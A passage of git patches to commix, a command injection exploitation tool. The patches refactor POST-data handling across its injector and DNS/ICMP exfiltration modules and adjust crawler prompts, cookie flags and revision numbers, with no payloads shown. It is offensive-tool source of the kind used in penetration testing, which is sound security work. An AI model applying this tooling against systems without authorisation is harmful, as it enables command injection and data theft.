parameters.do_POST_check(parameter, http_request_method) @@ -636,10 +636,10 @@ def basic_level_checks(): settings.SKIP_COMMAND_INJECTIONS = False settings.IDENTIFIED_WARNINGS = False settings.IDENTIFIED_PHPINFO = False - # Check if HTTP Method is GET. - if http_request_method != settings.HTTPMETHOD.POST: - get_request(url, http_request_method, filename, timesec) - # Check if HTTP Method is POST. + + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: + get_request(url, http_request_method, filename, timesec) else: post_request(url, http_request_method, filename, timesec) diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 51c0fd190c..cc3cb33ce6 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -246,7 +246,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ else: header_name = "" the_type = " parameter" - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 6556937a4f..74c9c7d3a8 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -46,8 +46,8 @@ """ def injection_test(payload, http_request_method, url): - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: if " " in payload: payload = payload.replace(" ","%20") # Define the vulnerable parameter @@ -197,8 +197,8 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques response = custom_header_injection_test(url, vuln_parameter, payload) else: - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index c0fbb291fe..848faab463 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -259,7 +259,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: header_name = "" the_type = " parameter" - if http_request_method != settings.HTTPMETHOD.POST: + if not settings.USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 9442feb0a7..dc1140d79d 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -40,8 +40,8 @@ """ def injection_test(payload, http_request_method, url): - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) @@ -185,8 +185,8 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques response = custom_header_injection_test(url, vuln_parameter, payload) else: - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 0883cad0a0..fc485b4979 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -465,7 +465,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: header_name = "" the_type = " parameter" - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 1eda1e4e04..f52657da28 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -42,8 +42,8 @@ """ def injection_test(payload, http_request_method, url): - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) @@ -188,8 +188,8 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht response = custom_header_injection_test(url, vuln_parameter, payload) else: - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) payload = payload.replace(" ","%20") diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 18e6efe33a..878f794768 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -414,7 +414,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, else: header_name = "" the_type = " parameter" - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index dae11ba1a4..6af66fa9a7 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -46,8 +46,8 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, end = 0 start = time.time() - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) @@ -96,8 +96,8 @@ def injection_test(payload, http_request_method, url): end = 0 start = time.time() - # Check if defined HTTP method is not POST. - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: payload = payload.replace("#","%23") # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index 17cd1a01d8..0e9f173190 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -68,7 +68,8 @@ def cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter): if settings.VERBOSITY_LEVEL != 0: sys.stdout.write("\n" + settings.print_payload(payload)) - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: url = url.replace(settings.INJECT_TAG, "") data = payload.replace(" ", "%20") request = url + data @@ -186,7 +187,8 @@ def dns_exfiltration_handler(url, http_request_method): print("\n" + settings.print_critical_msg(err_msg)) os._exit(0) - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: #url = parameters.do_GET_check(url, http_request_method) vuln_parameter = parameters.vuln_GET_param(url) request = _urllib.request.Request(url) diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 732d1db9a8..5e0bc7e63b 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -84,7 +84,9 @@ def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src): sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload) + "\n") - if http_request_method != settings.HTTPMETHOD.POST: + + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: url = url.replace(settings.INJECT_TAG, "") data = payload.replace(" ", "%20") req = url + data @@ -213,7 +215,8 @@ def icmp_exfiltration_handler(url, http_request_method): print(settings.print_critical_msg(err_msg) + "\n") os._exit(0) - if http_request_method != settings.HTTPMETHOD.POST: + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA: #url = parameters.do_GET_check(url, http_request_method) request = _urllib.request.Request(url) headers.do_check(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index 0d4d0a3c13..8dfe2941a3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "53" +REVISION = "54" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -295,7 +295,7 @@ def sys_argv_errors(): SKIP_COMMAND_INJECTIONS = False # User-defined stored post data. -USER_DEFINED_POST_DATA = "" +USER_DEFINED_POST_DATA = False # The wildcard character WILDCARD_CHAR = "*" From 2bf08e9c83fb51e94f6e9a81e168b557ccd4f5b8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 25 Jan 2022 12:46:52 +0200 Subject: [PATCH 059/560] Minor update --- src/utils/crawler.py | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index e4f0d0a91c..fec1c7a22f 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -72,7 +72,7 @@ def request(url): err_msg = str(err_msg) + " - Skipping " + str(url) sys.stdout.write(settings.print_critical_msg(err_msg)) if settings.VERBOSITY_LEVEL >= 2: - print("") + print(settings.SINGLE_WHITESPACE) SKIPPED_URLS += 1 @@ -257,7 +257,7 @@ def crawler(url): print(settings.SINGLE_WHITESPACE) if not settings.VERBOSITY_LEVEL >= 2: - print("") + print(settings.SINGLE_WHITESPACE) info_msg = "Visited " + str(len(output_href)) + " link"+ "s"[len(output_href) == 1:] + "." print(settings.print_info_msg(info_msg)) filename = store_crawling() diff --git a/src/utils/settings.py b/src/utils/settings.py index 8dfe2941a3..85be98352a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "54" +REVISION = "55" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 4c9922509e1eb80245c9d1d7e3e008d444ebc2ff Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 26 Jan 2022 10:16:41 +0200 Subject: [PATCH 060/560] Minor update --- src/utils/crawler.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index fec1c7a22f..77efdc54bf 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -245,7 +245,7 @@ def crawler(url): if sitemap_check: info_msg += "identified 'sitemap.xml' " info_msg += "for usable links (with GET parameters). " - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.write("\n" + settings.print_info_msg(info_msg)) sys.stdout.flush() if not sitemap_check: diff --git a/src/utils/settings.py b/src/utils/settings.py index 85be98352a..9727ce9a0b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "55" +REVISION = "56" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 939cf792c0b75233278493e8679969178ee933e0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 27 Jan 2022 09:29:32 +0200 Subject: [PATCH 061/560] Minor eye-candy fix --- src/core/injections/controller/checks.py | 2 ++ src/utils/crawler.py | 2 +- src/utils/settings.py | 4 +++- 3 files changed, 6 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 1cbafc53e2..3756c1672a 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -55,6 +55,8 @@ def not_declared_cookies(response): try: candidate = re.search(r'([^;]+);?', response.headers['set-cookie']).group(1) + if candidate: + settings.DECLARED_COOKIES = True while True: if not menu.options.batch: question_msg = "You have not declared cookie(s), while " diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 77efdc54bf..3659cbc12e 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -256,7 +256,7 @@ def crawler(url): if SKIPPED_URLS == 0: print(settings.SINGLE_WHITESPACE) - if not settings.VERBOSITY_LEVEL >= 2: + if not settings.VERBOSITY_LEVEL >= 2 and not settings.DECLARED_COOKIES: print(settings.SINGLE_WHITESPACE) info_msg = "Visited " + str(len(output_href)) + " link"+ "s"[len(output_href) == 1:] + "." print(settings.print_info_msg(info_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 9727ce9a0b..d4a43f0b46 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "56" +REVISION = "57" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1054,4 +1054,6 @@ def sys_argv_errors(): # Force usage of given HTTP method (e.g. PUT). HTTP_METHOD = "" +DECLARED_COOKIES = False + # eof \ No newline at end of file From c0fe69cce0d7d368f44047eb8d73d45e2c370fb4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 28 Jan 2022 08:34:31 +0200 Subject: [PATCH 062/560] Minor update --- src/core/injections/controller/checks.py | 2 ++ src/utils/crawler.py | 7 ++----- src/utils/settings.py | 4 +++- 3 files changed, 7 insertions(+), 6 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 3756c1672a..fae49e0e75 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -57,6 +57,8 @@ def not_declared_cookies(response): candidate = re.search(r'([^;]+);?', response.headers['set-cookie']).group(1) if candidate: settings.DECLARED_COOKIES = True + if settings.CRAWLED_SKIPPED_URLS != 0: + print(settings.SINGLE_WHITESPACE) while True: if not menu.options.batch: question_msg = "You have not declared cookie(s), while " diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 3659cbc12e..952f7d24a8 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -26,7 +26,6 @@ SITEMAP_LOC = [] HREF_LIST = [] -SKIPPED_URLS = 0 def store_crawling(): while True: @@ -57,7 +56,6 @@ def store_crawling(): Do a request to target URL. """ def request(url): - global SKIPPED_URLS try: # Check if defined POST data if menu.options.data: @@ -73,8 +71,7 @@ def request(url): sys.stdout.write(settings.print_critical_msg(err_msg)) if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) - SKIPPED_URLS += 1 - + settings.CRAWLED_SKIPPED_URLS += 1 """ Check for URLs in sitemap.xml. @@ -253,7 +250,7 @@ def crawler(url): if menu.options.crawldepth > 1: for url in output_href: output_href = do_process(url) - if SKIPPED_URLS == 0: + if settings.CRAWLED_SKIPPED_URLS == 0: print(settings.SINGLE_WHITESPACE) if not settings.VERBOSITY_LEVEL >= 2 and not settings.DECLARED_COOKIES: diff --git a/src/utils/settings.py b/src/utils/settings.py index d4a43f0b46..929283e72e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "57" +REVISION = "58" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1056,4 +1056,6 @@ def sys_argv_errors(): DECLARED_COOKIES = False +CRAWLED_SKIPPED_URLS = 0 + # eof \ No newline at end of file From b81d434bf25edc6398a8aa66e95a889e52e1f626 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 29 Jan 2022 12:20:08 +0200 Subject: [PATCH 063/560] Minor update --- src/utils/crawler.py | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 952f7d24a8..b6be438bdb 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -177,12 +177,12 @@ def crawler(url): else: while True: if not menu.options.batch: - question_msg = "Do you want to change the crawling depth level? [Y/n] > " + question_msg = "Do you want to change the crawling depth level? [y/N] > " message = _input(settings.print_question_msg(question_msg)) else: message = "" if len(message) == 0: - message = "Y" + message = "N" if message in settings.CHOICE_YES or message in settings.CHOICE_NO: break elif message in settings.CHOICE_QUIT: diff --git a/src/utils/settings.py b/src/utils/settings.py index 929283e72e..8b39b28f88 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "58" +REVISION = "59" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From fcf3c33d816da98c6eeed33ae428556654329959 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 30 Jan 2022 10:33:33 +0200 Subject: [PATCH 064/560] Minor fix --- src/core/requests/headers.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 731a9eb0eb..b4aff61a45 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -247,7 +247,8 @@ def https_open(self, req): not settings.IS_JSON and \ not settings.IS_XML and \ not str(err.code) == settings.INTERNAL_SERVER_ERROR and \ - not str(err.code) == settings.BAD_REQUEST: + not str(err.code) == settings.BAD_REQUEST and \ + not settings.CRAWLED_SKIPPED_URLS == 0: print(settings.SINGLE_WHITESPACE) # error_msg = "Got " + str(err).replace(": "," (") # Check for 3xx, 4xx, 5xx HTTP error codes. diff --git a/src/utils/settings.py b/src/utils/settings.py index 8b39b28f88..3d839b42ef 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "59" +REVISION = "60" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 06766115c30ca4c54cdff4f485c1c631cb1c3161 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 31 Jan 2022 08:49:17 +0200 Subject: [PATCH 065/560] Minor fixes regarding crawler --- src/core/main.py | 5 +++ src/utils/crawler.py | 92 +++++++++++++++++++++++++++---------------- src/utils/settings.py | 2 +- 3 files changed, 65 insertions(+), 34 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 4d5204ecf4..29eaed0932 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -747,6 +747,11 @@ def main(filename, url): if menu.options.os: checks.user_defined_os() + if menu.options.crawldepth > 2: + err_msg = "Depth level '" + str(menu.options.crawldepth) + "' is not a valid." + print(settings.print_error_msg(err_msg)) + raise SystemExit() + # Check if defined "--check-tor" option. if menu.options.tor_check and not menu.options.tor: err_msg = "The '--check-tor' swich requires usage of switch '--tor'." diff --git a/src/utils/crawler.py b/src/utils/crawler.py index b6be438bdb..2d08a9f117 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -111,6 +111,8 @@ def sitemap(url): pass return SITEMAP_LOC except: + if not menu.options.crawldepth: + raise SystemExit() pass """ @@ -167,47 +169,67 @@ def do_process(url): """ def crawler(url): if not menu.options.sitemap_url: - if menu.options.crawldepth > 2: - err_msg = "Depth level '" + str(menu.options.crawldepth) + "' is not a valid." - print(settings.print_error_msg(err_msg)) - raise SystemExit() info_msg = "Starting crawler and searching for " info_msg += "links with depth " + str(menu.options.crawldepth) + "." print(settings.print_info_msg(info_msg)) else: - while True: - if not menu.options.batch: - question_msg = "Do you want to change the crawling depth level? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "N" - if message in settings.CHOICE_YES or message in settings.CHOICE_NO: - break - elif message in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + message + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - # Change the crawling depth level. - if message in settings.CHOICE_YES: + message = "" + if not menu.options.crawldepth: while True: - question_msg = "Please enter the crawling depth level (1-2) > " - message = _input(settings.print_question_msg(question_msg)) + if not menu.options.batch: + question_msg = "Do you want to enable crawler? [y/N] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" + if len(message) == 0: + message = "N" + if message in settings.CHOICE_YES: + menu.options.crawldepth = 1 + break + if message in settings.CHOICE_NO: + break + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + message + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + + if menu.options.crawldepth: + while True: + if not menu.options.batch: + question_msg = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > " + message = _input(settings.print_question_msg(question_msg)) + else: + message = "" if len(message) == 0: - message = 1 - break - elif str(message) != "1" and str(message) != "2": - err_msg = "Depth level '" + message + "' is not a valid answer." + message = "N" + if message in settings.CHOICE_YES or message in settings.CHOICE_NO: + break + elif message in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + message + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass - else: - menu.options.crawldepth = message - break + # Change the crawling depth level. + if message in settings.CHOICE_YES: + while True: + question_msg = "Please enter the crawling depth level (1-2) > " + message = _input(settings.print_question_msg(question_msg)) + if len(message) == 0: + message = 1 + break + elif str(message) != "1" and str(message) != "2": + err_msg = "Depth level '" + message + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + else: + menu.options.crawldepth = message + break while True: + sitemap_check = None if not menu.options.sitemap_url: if not menu.options.batch: question_msg = "Do you want to check target for " @@ -230,6 +252,7 @@ def crawler(url): print(settings.print_error_msg(err_msg)) pass else: + message = "n" sitemap_check = True break @@ -242,12 +265,15 @@ def crawler(url): if sitemap_check: info_msg += "identified 'sitemap.xml' " info_msg += "for usable links (with GET parameters). " - sys.stdout.write("\n" + settings.print_info_msg(info_msg)) + if message in settings.CHOICE_NO and not menu.options.sitemap_url: + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + else: + sys.stdout.write("\n" + settings.print_info_msg(info_msg)) sys.stdout.flush() if not sitemap_check: output_href = do_process(url) - if menu.options.crawldepth > 1: + if int(menu.options.crawldepth) > 1: for url in output_href: output_href = do_process(url) if settings.CRAWLED_SKIPPED_URLS == 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index 3d839b42ef..a7af495668 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "60" +REVISION = "61" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From c243818c9bcfd9b603dfe4e918325d8552211db2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 1 Feb 2022 07:17:45 +0200 Subject: [PATCH 066/560] Fixes https://github.com/commixproject/commix/issues/736 --- src/core/injections/controller/checks.py | 5 ++++- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index fae49e0e75..f9ceacaeb0 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -831,7 +831,10 @@ def wildcard_character(data): _ = "" for data in data.split("\\n"): # Ignore the Accept HTTP Header - if not data.startswith("Accept: ") and not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in data : + if not data.startswith("Accept: ") and \ + not settings.WILDCARD_CHAR is None and \ + not settings.INJECT_TAG in data and \ + settings.WILDCARD_CHAR in data : data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) _ = _ + data + "\\n" data = _.rstrip("\\n") diff --git a/src/utils/settings.py b/src/utils/settings.py index a7af495668..28afb94261 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "61" +REVISION = "62" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 36a483656282935b6929fdf8bb17f0f51ee75691 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 3 Feb 2022 10:09:40 +0200 Subject: [PATCH 067/560] Minor update --- .../injections/blind/techniques/time_based/tb_injector.py | 4 ++-- .../results_based/techniques/classic/cb_injector.py | 4 ++-- .../results_based/techniques/eval_based/eb_injector.py | 4 ++-- .../injections/semiblind/techniques/file_based/fb_injector.py | 4 ++-- .../semiblind/techniques/tempfile_based/tfb_injector.py | 4 ++-- src/core/modules/dns_exfiltration/dns_exfiltration.py | 2 +- src/core/modules/icmp_exfiltration/icmp_exfiltration.py | 2 +- src/utils/settings.py | 2 +- 8 files changed, 13 insertions(+), 13 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index a55951dc0e..bebfa4c803 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -56,7 +56,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, # Check if defined method is POST. else: parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") @@ -105,7 +105,7 @@ def injection_test(payload, http_request_method, url): # Check if defined method is POST. else: parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 74c9c7d3a8..371f737be6 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -64,7 +64,7 @@ def injection_test(payload, http_request_method, url): # Check if defined method is POST. else: parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") @@ -215,7 +215,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques else : # Check if defined method is POST. parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index dc1140d79d..538ed8863b 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -59,7 +59,7 @@ def injection_test(payload, http_request_method, url): # Check if defined method is POST. else: parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") @@ -203,7 +203,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques else : # Check if defined method is POST. parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) + #parameter = _urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index f52657da28..5a1edf8e47 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -69,7 +69,7 @@ def injection_test(payload, http_request_method, url): # Check if defined method is POST. else: parameter = menu.options.data - parameter = 